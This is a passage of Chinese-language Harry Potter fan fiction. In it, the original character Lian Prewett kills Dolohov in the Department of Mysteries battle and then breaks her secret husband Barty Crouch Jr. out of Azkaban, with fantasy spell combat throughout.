“但是他跟福吉某些时候不谋而合,”莉安一针见血的说,“比如对待西里斯,斯克林杰甚至怀疑金斯莱没有用心追捕他——虽然这就是事实,但我认为,他不该质疑邓布利多,如果他真的是个像穆迪一样的人,他怎么不加入凤凰社呢?他在防备邓布利多。” “有道理。”亚瑟点点头,看到莫丽指挥汤锅落在桌子上,连忙去餐橱里拿盘子和碗碟。 今天比尔没有回来,莉安松了口气,正在给两个儿子喂辅食时,一只巨大的银色守护神突然从窗户跃进来。 “情况紧急,哈利、罗恩、赫敏、金妮和卢娜·洛夫古德以及纳威·隆巴顿今晚去了魔法部的神秘事务司,”猞猁一开口,金斯莱的声音传了出来,“他们联系不上西里斯,所以被食死徒骗了过去,我和西里斯、卢平、唐克斯、穆迪已经出发去营救他们,请按兵不动,等待邓布利多的通知。” 亚瑟的叉子掉到了盘子中,莫丽机械的转向客厅的那座大钟,上面罗恩和金妮的指针都指向十二点钟的方向——致命危险。 莉安把魔杖抽了出来,往门口走去,“你们在这里继续接收凤凰社的消息,我去帮忙,别担心,莫丽,他们不会有事的。” 莫丽猛地发出一声又惊又怒还带着浓浓恐惧意味的嚎叫,她试图扑向门口,但亚瑟连忙抱住了她。 “邓布利多的意思是让我们接收消息,别着急亲爱的!”亚瑟劝道,“他们都已经出发了,我们得通知其他人,比尔那边我去联系,你帮莉安看着孩子,现在没时间送他们去普威特祖宅了,她把孩子留给了你,别冲动…” 亚瑟的声音越来越远了,莉安抬头望望夏日星光灿烂的夜色,心头涌现一阵不详的预感。 她定了定神,消失在空气中。 莉安轻盈的落在黑黝黝的地面上,环视了一眼这条街道,去往魔法部的破旧的电话亭不远的地方,在单调的橘黄色街灯的照射下,看不清它们本来的颜色。 她走进电话亭,按下了62442,当拨号盘迅速转回原位时,一个女人冷漠的声音传进了电话亭。 “欢迎来到魔法部,请说出您的姓名和来办事宜。” “莉安·普威特,救人。” “谢谢,”那个冷漠的声音说,“来宾,请拿起徽章,别在您的衣服前。” 徽章从应该推出硬币的金属斜糟里滑了出来,上面写着:莉安·普威特,援救任务。 “魔法部的来宾,您需要在安检台接受检查,井登记您的魔杖,安检台位于正厅的尽头。” 电话亭的地面突然晃动起来,外面的人行道逐渐升高没过了窗子,黑暗在她的头顶合拢了,伴着枯燥的磨擦声,下到了魔法部的深处。 —道细细的金色光线照射在她脚上,逐渐越来越宽,移到了她身上,在如此狭窄的空间里,莉安蹲下来透过玻璃注视着外面,位于地下八楼的正厅空无一人,光线黯淡。 “魔法部希望您今晚过得愉快。”那个女人的声音说。 电话亭的门“砰”的打开了,莉安此刻正站在一个极为深长壮观的大厅的一端,大厅铺着十分光亮的黑色木质地板,孔雀蓝的天花板上镶嵌着闪闪发光的金色符号,这些符号持续移动并且改变。 两边的墙上都镶嵌着发亮的黑色木头,有许多镀金的壁炉,但此时壁炉没有生火,她穿过大厅往尽头的金色大门走去,半路上一个喷泉正在哗啦啦的喷水,一组比真人尺寸稍大的金色雕像站在一个圆形水池的中央,这些雕像里面最高大的是一位长相高贵的巫师,他的魔杖直指天空。 围绕这个巫师雕像周围的有一个漂亮的女巫,一头半人马,一只小妖精和一只小精灵,后面的三尊雕像都以崇敬的表情站在巫师和女巫的面前,水流正在从他们魔杖顶端闪闪发光的喷嘴里面飞出。 而那个金色大门旁边的安检台空无一人,看起来是被食死徒支开了,她穿过黄金大门走向升降梯,按了最近处的一个向下按钮,升降梯几乎是立刻咔哒一下就出现在她眼前,金色的栅栏从中间滑到两边,发出震耳欲聋的铿锵声。 她走进去,按了一下九号按钮,栅栏“砰”的一声关上了,升降梯发出咔哒咔哒的响声,很是刺耳。 当升降梯停下来时,那个冷漠的女人的声音说道,“神秘事务司。” 栅栏打开了,她走出来进入走廊,这里除了最近处的火把在升降梯搅起的气流中摇曳闪烁之外,什么动静也没有。 她转向走廊尽头那扇黑色的大门,门自动打开了,来到了一间圆形的屋子,这里环绕着十二扇门,她一间间找过去,终于在其中一间听到了激烈的打斗声。 这个房间比其他房间大很多,光线昏暗,呈方形,中心凹陷,形成一个巨大的石坑,大约有二十英尺深。 石头台阶环绕着整个屋子,如同石凳,一级一级逐渐下降,每一级都很陡峭,石坑的中心是一个凸起的石台。 它的上面立着一个拱门,看上去很古老,破烂不堪,拱门四周没有任何墙壁支撑,一幅破破烂烂的黑色窗帘抑或是帷幔挂 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“是啊,你马上就要死在他女儿手里了,相信我,你会后悔从阿兹卡班逃出来的!”莉安吼道,她拼命的发射各种恶咒,与多洛霍夫猛烈的搏斗在一起,他们像舞剑一样挥动着魔杖,杖尖火星四射。 “注意点莉安!”小天狼星一边喊着一边按下哈利的脑袋,躲过了正朝他们飞来的昏迷咒。 两人的战争进入了白热化,仿佛周围吵闹的人群和四处乱飞的咒语一点也影响不到他们,直到多洛霍夫退到其中一扇门前,里面突然传来一个食死徒的声音,“快进来,安东宁!” 多洛霍夫用铁甲咒躲过了莉安的咒语,苍白的脸上露出一个邪恶的笑容,他挑衅的望着莉安说道,“你抓不到我的,普威特!你就像你父亲那样弱小!” 随后他一闪身钻进了门里。 莉安追了进去,门在她身后关闭了,这是一间满是行星的黑屋子,仿佛就飘浮在黑暗中,天王星正在向她靠近,还有许多爆炸的碎片,看起来像是冥王星被什么咒语击中了。 看来这里就是行星厅。 “Colloportus! ”一个声音喊道,随着一阵古怪的吱嘎声,门自动封死了,门外那些激烈的打斗声再也听不到了。 昏迷咒横穿房间射了过来,莉安躲开了这个咒语,刚刚锁上门的食死徒散漫的摘掉了面具,兜帽也掉了下来,露出一头灿烂的金发,他站在莉安和多洛霍夫之间,突然恶劣一笑。 “巴蒂,等什么呢?”多洛霍夫警惕的拿魔杖指着莉安,笑得咧开了嘴巴,“她是普威特,好呀…当年的漏网之鱼,看来普威特家族已经习惯了把家庭成员贡献给我们的事业…她死了这个家族就消失了。” “你说得不对,”小巴蒂慢悠悠的说,“消息不够灵通啊安东宁,看来是在阿兹卡班待久了,你的头脑也退化了,她去年就已经结婚了,还有两个孩子,其中一个跟她姓普威特。” “两个孩子?啊…那真是太好了,”多洛霍夫瞥了小巴蒂一眼,接着又盯着莉安,看上去很兴奋的样子,“那就让我们来看看普威特像她爸爸和叔叔一样死掉之前能坚持多久…用钻心咒怎么样?等她垮了,我们再去把那两个小家伙抓过来,斩草除根…” “我不同意,安东宁。”小巴蒂用不耐烦的语调说,莉安就像没听到似的,死死的盯着多洛霍夫,她知道自己的丈夫有多恶劣,他现在就像一只奶牛猫戏弄落入掌心的小老鼠一样逗弄着多洛霍夫,等他玩够了、不耐烦了,就会伸出锋利的爪子,把老鼠撕碎。 “为什么不同意,别浪费时间了,赶紧把普威特弄死,你想玩等我们结束战斗再去抓那两个小崽子玩一玩,别耽误了主人的任务,水晶球还在波特手里——” “我不同意,”小巴蒂看上去完全失去了耐心,又重复了一遍,“我还要告诉你几次,她已经结婚了,别总是叫她普威特,她的丈夫听到会不高兴的,噢…至于她的丈夫会不会听到…当然能,毕竟她是克劳奇的女人,她的孩子是我的儿子,你抓我的儿子玩,我当然不同意。” 多洛霍夫的魔杖突然指着他,仿佛没听懂小巴蒂在说什么,眼珠子都不会转了,“你什么意思?” “亲爱的,速战速决吧,他已经知道了我们的关系,不能放过他,反正门锁上了,你不让我帮忙,那就在这里杀了他,”小巴蒂的语气中透露着浓浓的厌倦,“我给你把风,快!” 莉安立刻高举魔杖,“Crucio! ” 多洛霍夫一边慌不择路的躲避着她的钻心咒,一边声嘶力竭的对小巴蒂吼道,“巴蒂·克劳奇你这个叛徒!主人不会放过你的!” “主人不会知道,你安心的去吧。”小巴蒂咧着嘴,一口白牙甚至都在发着光,他靠近了天王星,让它朝着多洛霍夫的方向移动,黑暗再也无法干扰莉安的视线,多洛霍夫在她眼里就像个活靶子。 “等你去见了梅林,安东宁,记得帮我跟我老丈人和他的兄弟问个好!”小巴蒂愉快的吹了声口哨,牙齿并拢,疯狂的大笑出声。 多洛霍夫恶狠狠的叫骂着,恨不得用眼神杀死他,嗖嗖的红色和绿色光束飞过,他不得不继续躲避咒语。 两人的魔杖旋舞劈杀,多洛霍夫的长脸开始颤抖,不停的咆哮,两根魔杖极快的射出亮光,附近的星球也变得滚烫、开裂,他们在决一死战。 “Expulso! ”多洛霍夫大吼一声,莉安附近的海王星突然炸飞,爆炸的冲击力差点把她推到墙上,她紧紧的握着魔杖,迅速反击。 “十几年了,我一直盼着能帮我父亲报仇。”莉安高喊统统石化,咒语的力量甚至震碎了一颗小水星,多洛霍夫这次没能跳过去,他的胳膊和腿贴在一起,向前一扑,像雕塑一样重重摔在行星的碎片上,发出嘎吱吱的响声。 莉安的杖尖飞出亮闪闪的黑绳子,把他从头到脚捆着结结实实。 “你打算怎么做?放过他?”小巴蒂看她制服了多洛霍夫,慢悠悠的走到她身边,旁若无人在她脸上吻了吻,“别心软,我教过你,心软是大忌。” “我要回去公开处决他,”莉安冷静下来,这才担忧的望着他,“我没想到你今天出门是做这种事,我从陋居赶来的…” “今天的任务不是杀人,我就没有在意,”小巴蒂说,“只是从波特那里拿个东西罢了。” “离开这里,好吗?”莉安握住了他的手,“我们的支援很快就到了,回房子里等我,噢,你记得去陋居接一下孩子们——” 这时,莉安听见门外似乎有人正用身体撞击房门,然后是纳威的一声高喊,“邓布利多!” 小巴蒂的脸色变了,他加强了多洛霍夫的全身束缚咒,并让他不能说话,“Silencio! ” “快走,你去外面解决了他,我现在就要回咱们的家里去。” 莉安的魔杖指向多洛霍夫,让他漂浮起来,忧心忡忡的跟着小巴蒂一前一后回到了有拱门的屋子里。 此时死亡厅一片狼藉:一道绿光险些击中了小天狼星,屋子对面的唐克斯从石头台阶中间摔了下来,软绵绵的身体顺着一个个台阶向下滚落,而贝拉得意的转身跑去,和小天狼星投入了战斗。 但大多数人已经停止了打斗,她顺着众人的目光望过去,邓布利多正站在一扇门口,魔杖高高举过头顶,苍白的脸上满是怒色。 他快速走下台阶,走到台阶最底部,而食死徒们撒腿就跑,像一群猴子似的爬上对面的石头台阶,邓布利多的咒语轻而易举的把他们拖了回来,就像用无形的线把他们钩住了一样。 “快走!”莉安低吼道,她发现邓布利多正在施放反幻影移形。 但她晚了一步,幻影移形施放需要时间,而邓布利多已经发现了小巴蒂——他实在是太危险了,于是邓布利多暂时放弃了其他人,迅速把小巴蒂钩到了石台中间,莉安知道自己不能暴露,何况被她控制的多洛霍夫还在努力挣脱束缚咒,她一狠心,把多洛霍夫也甩到石台的拱门旁。 “父亲,叔叔,还有母亲,今天我要为普威特报仇。”她的声音如水波纹一般扩散、弥漫在空气中,传遍了整间屋子。 “莉安,你千万别冲动!我们会把他送进阿兹卡班的!”卢平安抚的冲她喊道,“别让仇恨蒙蔽了你的双眼,你不能就这样干——” “我想杀他!”莉安怒吼道,“我不会给他机会的!卢平!还记不记得你们是怎么把彼得·佩迪鲁放跑的?还需要我再提醒你们一次吗?这次可不能了!” 说完,她的魔杖指向正在惊恐的呜呜叫着的多洛霍夫,痛快的喊出咒语,“Reducto! ” 她的粉碎咒从多洛霍夫的胸口中穿过,把他的心脏击了个粉碎。 其他人愣愣的看着她,大概没想到她真的会杀人,现在只有两个人还在激战,很明显,他们谁也没有注意到刚才发生了什么事,小天狼星闪身躲过了贝拉的一道红光,正在嘲笑她。 “得了,你可以做得更好!”他高声喊着,声音在整个巨穴般的屋子里回荡。 第二道光束正好击中了他的前胸,他脸上的笑容还没有消失,但是他惊骇的瞪圆了双眼,那张消瘦的、十分英俊的脸上既恐惧又诧异,他的身体向后仰,形成了优美的弓形,快要碰到悬挂在拱门上的破旧帷幔了。 此时在拱门附近的只有莉安一个人,她的心都提到了嗓子眼儿,立刻甩掉手里已经死掉的多洛霍夫,拼命伸手在他跌入拱门之前把他拽了回来。 “你又轻敌了,西里斯,”莉安惊魂未定的拖着小天狼星沉重的两条腿往后退,把他放在高高的石阶上,这才心有余悸的说,“这儿是死亡厅,这拱门据说是处决死刑犯的实验场所,你看,邓布利多的脸色都变了。” 邓布利多铁青着脸转过身来,他已经把绝大多数食死徒困在屋子的中间,就像是用无形的绳子把他们绑在了那里一样,莉安偷偷看了几眼小巴蒂,她心里焦急的不得了,小巴蒂尽管被绑着,仍然对她安抚的笑了笑。 小天狼星吓得全身发软,再也站不起来,瘫在石阶上重重的喘着气,卢平和哈利扑了上来,三人拥抱在一起,而穆迪穿过房间,爬到唐克斯身边,试图把她唤醒,台子的后面光线在闪烁,有叫喊声传来,金斯莱正在和贝拉打斗。 突然“砰”的一声巨响,一声惨叫传来,他重重的摔在了地上,疼得直叫。 “哈哈哈哈——”贝拉笑得很猖狂。 邓布利多厌恶的看着她,用魔杖狂扫,贝拉吓得慌忙逃跑,哈利跳起来给了她一道咒语,被她躲过去了,她已经跑到台阶的中间,哈利迅速爬上石阶,冲了过去,完全不顾卢平的高声阻拦。 邓布利多控制了所有的食死徒,此时贝拉和哈利已经跑进了一扇门,再也看不见了。 23. 劫狱 邓布利多消失后,凤凰社的人唉声叹气的坐在石阶上,一边看守一群食死徒,一边等待上面的战斗结束。 除了卢平和莉安,其他人多多少少都受了伤,穆迪正在检查唐克斯的身体,卢平在给金斯莱涂白鲜,小天狼星正在各个厅里查看那些孩子的状况并把他们带回这间死亡厅里,罗恩赫敏看起来都不太妙,金妮更是被击昏了。 莉安没有动,她没心情关注任何人,只是忧郁的望着被绑住的丈夫,止不住的叹气。 这已经是第二次了,邓布利多又一次制服了他——在她眼前,并打算把他送进阿兹卡班——邓布利多交代他们说,魔法部的官员一会儿就来。 “普威特!”穆迪粗声粗气的喊道,“你那一招真不错,不用非法咒语,这是一个傲罗最后的底线,我想很快你就能得偿所愿了!” “谢谢。”莉安失魂落魄的说,她的目光没有离开小巴蒂——她想控制自己的视线不去看他,可她的眼睛就像粘在了他身上似的。 “克劳奇…终于捉到这个渣滓了,可惜不是我亲手抓的,”穆迪已经把他的魔眼重新戴在了眼眶上,他死死的盯着小巴蒂,声音有些低沉沙哑,“他会被送回阿兹卡班…在那里腐烂…” “噢,那真是太好了,”小巴蒂让自己躺的舒服了点儿,散漫的说,“穆迪呀,你怎么还是这么蠢呢?到现在你居然还相信摄魂怪?你猜猜年初我那十个同伴是怎么出来的?啊我忘了他们就在这里…不如你问问?” 食死徒们发出了此起彼伏的嘲笑声。 “何况我并不认为我在阿兹卡班能待多久,我能逃出去——就像十四年前那样,我可以逃出去一次,就能逃出去两次,你是不是不把阿兹卡班的首位越狱者当回事啊?还是你认为西里斯·布莱克才是第一个越狱者?” 说完,小巴蒂毫不客气的嘲笑出声,其他食死徒有样学样,看来他在食死徒里地位很高,也对——帮黑魔头重塑了肉身,在众人眼皮子底下玩弄邓布利多快一年,作为黑魔头手下唯一有kpi的食死徒,他的智商和实力一直在线。 “干脆就在这里杀了他算了!”小天狼星冷哼一声,没好气的说,“他差点儿害死了哈利,穆迪,你可别心慈手软——” “但是他没有拒捕,”穆迪的呼吸粗重了几分,仿佛在强忍着杀死小巴蒂的冲动,但他很快又古怪的笑了笑,“他是越狱犯,恐怕到了阿兹卡班就会接受摄魂怪之吻…除非他那主子愿意立刻把他救走…” 莉安的脸色越来越苍白了,她的手也在发抖,唐克斯看到她的异常,拖着一条伤腿坐到她旁边,安慰的说,“是不是吓到了?我听金妮说过,你那时候很喜欢穆迪,他一直把你带在身边亲自教导——” 穆迪满是伤疤的脸皮扭曲着,他愤怒的吼道,“那不是我!我倒是也想教导吉迪恩的女儿,但是我在箱子里锁了九个月,那时候是这个渣滓蓄意接近了她!” “噢对不起,穆迪,我正要说这件事,”唐克斯歉意的看着他,有点语无伦次,“我觉得莉安可能有点儿心软,哈利说,克劳奇暴露之前对他和莉安都很好,这简直让人难以相信…他用夺魂咒控制了克鲁姆攻击芙蓉,又在三强杯前对莉安施了夺魂咒,不然被送到黑魔头那里的就是莉安了,她现在有点儿难过也是正常的…任谁发现跟自己相处了快一年的老师是个伪装的食死徒,都会很难接受的吧…” 莉安双眼发直的盯着小巴蒂,凤凰社的人都把她想得太好了,他们拼命找理由给她开脱,可她知道自己心里就是爱着他,这个男人是照亮她在许多漆黑雷雨夜中的灯塔,是海上风暴时她落入水中唯一抓住的浮标,他是她的老师,也是她的丈夫,她孩子的父亲… “可怜的普威特。”小巴蒂嗤笑一声。 “你对她就没有一丝感情吗?”卢平皱眉望着小巴蒂那副吊儿郎当的样子,强压愤怒,“莉安把你当成她最信赖的老师,你却拿她当人质威胁邓布利多——” “不管怎么样,我放过她了,”小巴蒂从鼻子里发出一声不屑的冷哼,“不然我从霍格沃茨离开的第二天,就会把普威特的尸体扔到魔法部门口,她中了我的夺魂咒,我说什么她都会听我的,哪怕我让她自杀,她也不会有丝毫的犹豫…” “别说了…”莉安的嘴唇抖动着,她恳求的望着丈夫,知道他是在跟自己撇清关系,可是她不能…她甚至想跟他一起去阿兹卡班… 跟他一起去阿兹卡班? 她的目光又落在小天狼星身上,陷入沉思。 又过了一会儿,两个傲罗突然冲进了死亡厅。 “德力士,威廉森!”唐克斯叫道,“情况怎么样了?” “我们看见神秘人了!”一个身穿猩红长袍、扎着马尾辫的男人惊魂未定的说,“福吉让我和德力士过来查看情况,邓布利多说有几个食死徒等待处置——” “伏地魔来了?”小天狼星急忙问道,“邓布利多和哈利呢?他们有没有事?” 另外一个外表强壮,硬直的头发留得很短的男巫滑稽的眨了下眼睛,“意外收获,布莱克也在这里——” “你这个蠢货!他不是罪犯,他是来帮忙的!”金斯莱高叫道,“德力士,你那个不发达的脑子里塞的是《女巫周刊》封面上的模特吗?” 德力士茫然的看了看威廉森,好像是希望得到下一步该怎么办的指示。 “邓布利多和那个孩子没事,神秘人带着贝拉特里克斯逃走了,”威廉森看了看这一屋子虎视眈眈的伤员,仿佛如果他和德力士对布莱克做什么,他们就要扑上来似的,他疲惫的摆了摆手,“你们有这么多证人呢,我不会对布莱克做什么的,但是金斯莱,福吉那边…” “你还看不出来吗?”穆迪冷笑道,“福吉马上就要下台了,他否认了一年黑魔头归来,不停的打压和诋毁邓布利多,不让这个消息走漏…但你们已经看到黑魔头了不是吗…” 威廉森郁闷的点点头,“岂止是我们,差不多所有的高层官员和傲罗都看到了,还有《预言家日报》的记者。” “等等,这个是什么?”德力士把多洛霍夫的尸体翻了过来,看到那张扭曲的死不瞑目的脸,吓了一跳,“越狱的安东宁·多洛霍夫?战斗中被杀死了?” “没错,吉迪恩的女儿干掉了他,”穆迪阴森森的说,“合情合理,没有用黑魔法,多洛霍夫和其他四个食死徒杀死了她父亲和叔叔,十四年前,就在黑魔头失踪前不久,普威特兄弟中了埋伏,与他们搏斗…” “普威特?”威廉森思索了片刻,“我记得…三强争霸赛的勇士,唐克斯和我说过,她想做傲罗,但是福吉让我们打回她的申请,可她根本没有申请…” “福吉当然不可能同意她的申请,因为她是知情者之一!”唐克斯几乎是在咆哮了,“她当时被夺魂咒控制了,如果她说出真相,福吉会颜面扫地!” “好了好了,冷静一些,”卢平说道,转向威廉森,“既然你们来了,那就请把这些食死徒带走吧,我们还要回去,孩子们都受了伤,需要先回霍格沃茨接受治疗。” “没问题,”威廉森说,“德力士,你这个大傻瓜!愣着干嘛呀,跟我去阿兹卡班!但是我们首先要做一件事——缴了他们的魔杖…尤其是这个…死而复生的小巴蒂·克劳奇…” 莉安痛苦的看着眼前的一切,她几次握紧了魔杖,但她又无奈的松开,她不能这么做…她打不过所有人…她不能暴露自己… 她想责怪他,不想救他,但是看到他难得温柔的注视自己的眼神,她无法不心疼。 就像十几年前她没有想到,闯入她生活的人,在结束后也能同样自然轻易走出她的生活,就像一个在音乐会开始前几秒钟突然闯入音乐厅的人,在发现自己坐错位置后,突然站起来,毫无悔意的再次打扰其他人,而不在乎要等到中场休息的时刻。 她的目光一直追着他,直到他被带走,消失在那扇门后,泪水模糊了她的视线。 这就是小巴蒂·克劳奇,像象形文字一样没人能破解,就连他自己也不行,他们的一切到底算什么呢?他最后留下的那个眼神又意味着什么? 她知道,他不是在跟自己诀别,这并不是他们的生离死别,他们的未来会很长、很长,而这仅仅是个预告,是“请继续爱我”的信号。 她希望他能有更多的话留给自己,她希望她能有勇气继续听着,她希望她能告诉他他想听到的——只要他再问问她,直接问她是不是还是爱着他,她必须再告诉他一遍,她不愿意再拐弯抹角,特别是跟他,所以她想尽量把话说得简单些: 现在我想和你在一起,在我们的床上,盖着我们的毯子,我想穿着你的衬衫不穿下装,今晚是如此寒冷,实在不得已,你也可以睡在隔壁的房间里…只是我不想离开你,今晚不想。 每个夜晚都不想。 众人回到凤凰社的时候,天已经快要亮了,几个孩子被送回了霍格沃茨,由庞弗雷夫人治疗他们,莉安从窗口向外望去,一道素雅的灰绿色挂在天边:黎明正缓缓到来。 两个孩子被莫丽送到了临时安排给莉安的卧室里,她和亚瑟匆匆的走了——去医疗翼探望脚脖子扭伤的金妮和在大脑室受了伤的罗恩,以及被多洛霍夫用无声咒击伤的赫敏,而其余的凤凰社成员在地下厨房里开会,莉安心不在焉的听着。 “马上魔法部就会承认这件事了,我们可以让更多的人加入到凤凰社中来,”阿米莉亚·博恩斯冷静的说,“我得到了通知,恐怕魔法部马上就要迎来新的部长了,《预言家日报》正在连夜加印。” 她是一个宽身材、方下巴的女巫,灰色的头发剪得短短的,戴着一幅单片眼镜,脸上的表情令人生畏,唐克斯说,阿米莉亚是一个公正、诚实的人。 “莉安,要不你去楼上休息一会儿吧,我看你太疲惫了,眼睛下面都发青了,”唐克斯悄悄的说,“反正咱们也插不上话。” 莉安点点头,两个人溜出了厨房,穆迪的魔眼正滴溜溜的转着,朝她们看了过来,却没有阻止,显然是认为她们两个的确需要休息。 “挺好的,福吉下了台,她就可以免试成为傲罗,这一战她展现了自己的实力。”金斯莱对穆迪咬耳朵。 穆迪赞同的呼噜一声。 回到楼上的卧室,唐克斯指了指对面的房门,“我就睡在这里,你那房间有两个孩子,可真不轻松,愿梅林保佑他们不要吵到你了,等我们一觉醒来,估计他们的会议也结束了,到时候我们就可以回家了。” 莉安点点头,和唐克斯在门口分别,走进了卧室。 两个孩子在床上睡得很香,兰斯睡得鼻涕泡都冒了出来,随着他的呼吸变大变小,而洛特正在咂巴嘴,仿佛梦到了在吃什么美味的东西。 莉安抱着两个儿子亲了一会儿,又把他们仔细的放回床上,盖好被子,她打开了窗户,外面的天色逐渐放明,卧室也变得越来越亮。 吊灯映在墙壁上的人影突然逐渐变形,一只体型稍大的鸟儿突然衔着什么东西飞出了窗外,消失在天空中。 陆地上空的云朵自在的漂浮着,海岸只剩下一条长长的绿色的线,海水此刻呈现深蓝色,深的几乎发紫了。 几只海鸟鸣叫着飞过黎明的天空,其中夹杂着一只格格不入的蓝色影子,它羽毛的颜色就像大海那样深沉。 莉安闻到了盐味的空气,咸咸的海风疾速吹拂着她的翅膀,她低头看了看一望无际的大海,耳边是波涛汹涌的海浪的声音,就像一只巨兽沉睡时的呼吸。 海水的颜色变得越来越深,天空又变得阴沉起来,仿佛黎明不曾来到那样,她四处搜寻了一下,一小块陆地仿佛在海平面上遥遥升起,慢慢出现在她的视线中。 她继续往前飞去,这片海域变得越来越寒冷,温度下降的很快,冷风不断掠过她知更鸟的身体,她紧紧的叼着自己的魔杖,不让它落进海里,因为那片陆地已经变得越来越近。 她在海面上空低低的俯冲,接近岛屿时,她慢慢在这个冰冷的、深蓝色世界的上空盘旋。 层层海浪拍打在黑色的岩石和沙滩上,鸟类视线更为敏锐,能看到人类看不到的更多颜色,她打量着阿兹卡班所在的这座岛屿,一座巨大的黑色高塔拔地而起,伫立在茫茫无尽的海面上,许多空洞无形体的黑魔法生物披着一件破烂的斗篷,全身都像在水里泡烂了一样,正在空中飘荡。 一片绝望的毀灭之地。 阿兹卡班最初是一个鲜为人知的,自称为艾克斯蒂斯的男巫的家,他是一个非常强大邪恶的黑巫师,独自一人生活在大海上,引诱折磨并杀害过往的麻瓜水手,仅仅只是为了取乐。 当他去世后,他所施展的隐藏咒消失了,魔法部才意识到这座岛屿和建筑的存在,那些进入调查的人在那之后拒绝谈论他们在里面都看到了什么,只愿意透露其中最不可怕的部分,那就是这里到处充斥着摄魂怪。 她落在一片坚硬的盐碱地附近,这里有一片密密麻麻的木板潦草的插在那里,上面敷衍的刻着名字,就像尖锐锋利的指甲刮出来的那样,显然,这是阿兹卡班的墓地,没有墓志铭,也没有石碑,只在木板后面有个小土包而已。 阿兹卡班恶劣的环境完全超出她的预料,看来这里的囚犯经常因为绝望而死去,恐怕活下来的人大多都已经精神失常,甚至这里特意修建了墓地。 她在这里停歇了片刻,突然又飞起来,落在其中一个小土包上,浅蓝色的小眼睛盯着木板上面的字:Bartemius Crouch Jr. 不多时,她蹦蹦跳跳的穿过黑暗冰冷的石头和一蓬蓬叫不上名字的杂草丛,把魔杖藏在某个隐秘的灌木里,然后向高塔飞去,天空非常昏暗,仿佛这里从未有过阳光。 她顺着一个窗口飞进阿兹卡班后,她能看见四周大部分囚房里的身体闪烁着奇异的红色的光芒,但是有些光芒快要消散了。 看来这些囚犯即将死去了,在鸟类的视野中他们的热量非常低。 她一间囚房一间囚房的找了过去,犯人几乎都只有简单的思想,他们没有力气也没有精神关注窗外是不是来了一只色彩浓烈的鸟儿,只是时不时绝望的惨叫和神志不清的呓语,甚至还有的囚徒发出了疯癫的大笑声,听得人毛骨悚然。 飞到顶层的时候,乍一看走廊空空荡荡,但是一个高大的轮廓在最深处的牢房门口飘动,在她的视线中只有一片漆黑。 那东西的脸被兜帽完全遮住了,似乎在考察囚房里的人,莉安立刻从走廊飞了出去,迫不及待的从那间囚房的窗户飞进去,落在里面那个被束缚的人的肩膀上。 小巴蒂听到知更鸟叫,以及小爪子落在自己身上轻柔的触感,他睁开眼睛,就看到鸟儿正对着他不停的甩头,锋利的喙在他胸口的衣服上划了长长的一道。 “别闹…”他无奈的说,“这个时候你还要咬我吗?” 莉安气得照着他的头狠狠啄了两口,又继续在他胸前划了长长一道,小巴蒂皱眉看着她不合时宜的举动,突然醒悟,“魔杖在隔壁房间,监狱深处!” 莉安扑棱扑棱的飞走了,小巴蒂不甘心的低喊道,“快点宝贝,我害怕,你知道我对这玩意儿几乎没有抗性!” 莉安去找魔杖的这功夫,摄魂怪已经盯了他很久了,它并不能分辨人类的长相,也对动物杂乱无章的情感毫无兴趣,它只是在考察小巴蒂——这是它的早餐。 它头巾下面的嘴抽了一口气,又长又慢,还颤巍巍的,满足的从周围吸进了除了空气以外的某种东西。 小巴蒂被吸取了一次快乐,他满心恐怖,人像是要瘫痪了一样,既不能动也不能说话,他所熟悉的那种冰冷的感觉渗透了他的五脏六腑,雾气开始模糊了他的视线,更多的摄魂怪从四面八方的黑暗中更多的涌来,它们在包围,白色的雾使他看不见。 他必须等待…他什么也看不见…在远处,他听到那熟悉的怒吼声…“你不是我的儿子!我没有儿子!” 他在迷雾中等待着她,等她抓到他的手臂…她不会让它们带走他的… 他能感到它们在观察他,听到它们格格的呼吸声,这种声音像有害的风一样在他周围吹着,离他最近的家伙好像在等不及了,然后它举起两只腐烂的手——而且放下它的头巾。 在应该有眼睛的地方只有薄薄的结痂的灰色皮肤,单调的蒙在空眼眶上。 但它有嘴…一个没有形状的洞,正在以死前喉鸣的声音吸着空气,一只手从黑色的斗篷中伸出来,那手是发灰的颜色,瘦瘦的,有疤痕,像是死了的东西在水里面腐烂。 一双强壮冷湿的手突然扼住了他的脖子,它强迫他抬头…他能够感觉到它的呼吸…它甚至等不及魔法部的命令,也要违背黑魔王的指示,它想先把他解决掉…他甚至能感到它的腐臭的呼吸…他痛恨的父亲在他耳朵里怒吼…他将是他最后听到的声音… “Expecto patronum——” 雾气正在将他淹没时,他突然看到一道银色的光,越来越亮…驱走了他的虚弱,小巴蒂睁开了眼睛,炫目的光照亮了他周围昏暗的囚房…怒吼声停止了,寒冷的感觉正在消逝… 两只蹦蹦跳跳的奶牛猫把那些家伙赶走了…它们把他围了起来…摄魂怪格格作响的吮吸声渐渐远去,它们在离开…空气又暖和起来了… 小巴蒂集中全身力量把头抬起来几英寸,看见已经显形的妻子握着他的魔杖,他想努力看清她,但泪水模糊了眼睛…他尽力保持着头脑清醒,看到那两只猫慢跑着冲了出去,似乎是准备赶走其他楼层的摄魂怪。 “Alohomora! ”囚房的锁打不开,于是莉安不再犹豫,暴力破门,“Confringo! ” 囚房的门被炸开了,巨大的爆破声响彻整座高塔,冲击的气流夹杂着碎片涌了进来,莉安帮他解除了束缚咒,又急又快的说,“快,离开这里,我带了魔杖,在外面的墓地里,我们先去拿魔杖,然后立刻离开这座岛的反幻影移形范围!” 说完,她把魔杖塞进小巴蒂手里,又变回了知更鸟,落在小巴蒂肩上,小爪子紧紧的抠进了他的衣服里。 小巴蒂翻身向外跑,路过那些囚房时,一起被抓进来的几个食死徒已经听到了那声震耳欲聋的爆炸,他们又顺着门上铁栅的缝隙看到了他正在逃跑,顿时瞠目结舌的说不出话来,但也有一些机灵的食死徒,比如卢修斯立刻迫不及待的喊道,“巴蒂!快救我!主人需要我!” “那就等主人来救你,没用的家伙,”小巴蒂哪怕在逃跑,也忍不住心里对不忠者的厌恶感,他冷冷的说,“你搞砸了主人的任务,他一定会惩罚你…安心享受摄魂怪的吻吧!它们可是很想要你啊…卢修斯,第一次清算时你逃了过去,现在该是你证明对主人忠心的时候了…” 小巴蒂听到他绝望的惨叫,不再废话,往楼下奔去。 等他们来到墓地,莉安的守护神抵抗不住成百上千的摄魂怪,很快溃散,甚至触动了大范围的警报——啸叫咒,这证明有犯人逃脱了,刚押送他的傲罗马上就会返回这里,所以小巴蒂必须立刻逃跑。 她又变回人形,扑通一声跪在坚硬的盐碱地上到处摸索藏在灌木丛中的魔杖,摄魂怪又飘了过来,那些戴着兜帽的黑影从远处接近了她,它们的面孔完全被遮住了,刺耳的呼吸声是唯一的声音。 